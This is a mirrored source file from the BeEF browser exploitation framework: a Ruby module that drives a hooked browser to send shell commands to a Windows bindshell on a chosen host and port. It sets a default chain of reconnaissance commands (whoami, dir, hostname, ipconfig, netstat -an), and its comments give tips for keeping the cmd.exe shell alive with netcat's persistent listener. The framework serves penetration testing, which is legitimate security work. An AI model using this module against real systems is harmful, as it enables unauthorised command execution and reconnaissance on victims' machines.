Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/ipec/inter_protocol_win_bindshell/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
# The bindshell is closed once the module has completed. This is necessary otherwise the cmd.exe process will hang. To avoid this issue:
7
# - use the netcat persistent listen "-L" option rather than the listen "-l" option; or
8
# - remove the "& exit" portion of the JavaScript payload. Be aware that this will leave redundant cmd.exe processes running on the target system.
9
#
10
# Returning the shell command results is not supported in Firefox ~16+, IE, Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe due to content-type restrictions. The shell commands are executed on the target shell however.
11
12
class Inter_protocol_win_bindshell < BeEF::Core::Command
13
def self.options
14
[
15
{ 'name' => 'rhost', 'ui_label' => 'Target Address', 'value' => '127.0.0.1' },
16
{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '4444' },
17
{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '30' },
18
{ 'name' => 'commands', 'ui_label' => 'Shell Commands', 'description' => 'Enter shell commands to execute. Note: ampersands are required to seperate commands', 'type' => 'textarea',
19
'value' => 'echo User: & whoami & echo Directory Path: & pwd & echo Directory Contents: & dir & echo HostName: & hostname & ipconfig & netstat -an', 'width' => '200px' }
20
]
21
end
22
23
def post_execute
24
content = {}
25
content['result'] = @datastore['result'] unless @datastore['result'].nil?
26
content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?
27
save content
28
end
29
end
30
31